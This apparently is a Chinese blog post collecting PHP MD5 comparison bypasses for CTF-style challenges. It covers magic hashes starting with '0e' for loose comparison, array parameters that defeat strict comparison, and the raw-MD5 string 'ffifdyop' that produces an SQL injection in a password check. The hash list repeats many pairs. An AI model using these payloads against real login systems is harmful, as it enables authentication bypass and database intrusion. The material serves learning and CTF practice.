md5的常用收集

常见的MD5绕过漏洞

弱类型比较

if (hash("md5", $_GET["password"]) == $_GET["password"])

0e215962017的md5值也为0e开头

if (md5($str1) == md5($str2))

构造出md5值为0e开头的字符串,弱类型比较会认为是科学计数法

md5的值均为0e开头

s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020

0e215962017
if (md5(md5($str1)) == md5($str2))

md5和双md5后两个均为0e开头

CbDLytmyGm2xQyaLNhWn
770hQgrBOjrcqftrlaZk
7r4lGXCH2Ksu2JNT3BYM
 if (hash("md5", "0e".$i)=="0e".$i)
 0e215962017

强类型比较

if(md5($str1)===md5($str2))

利用md5函数无法处理数组的特点,可以传参

?str1[]=1&str2[]=2

两个传参的返回值都是false,两个相等,得以绕过

$str1 = (string)$_GET['str1'];
$str2 = (string)$_GET['str2'];
if (md5($str1) === md5($str2))

进行了强制类型转换,则无法使用数组绕过了

需要MD5碰撞,对于需要两个内容不同但是MD5值相同的文件,使用Fastcoll就可以了

绕过md5()来构造攻击语句

select * from 'admin' where password = md5($pass,true)

一个绝妙的字符串:ffifdyop

这个字符串加密之后:276f722736c95d99e921722cf9ed621c

再转换为字符串得到

'or'66�]��!r,��b

代入之后相当于

select * from 'admin' where password = ''or'66�]��!r,��b'
#万能密码出现了
select * from 'admin' where password = ''or 1
#实现sql注入

再给一个一样道理的字符串

129581926211651571912466741651878684928
select * from admin where password=''or ture
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值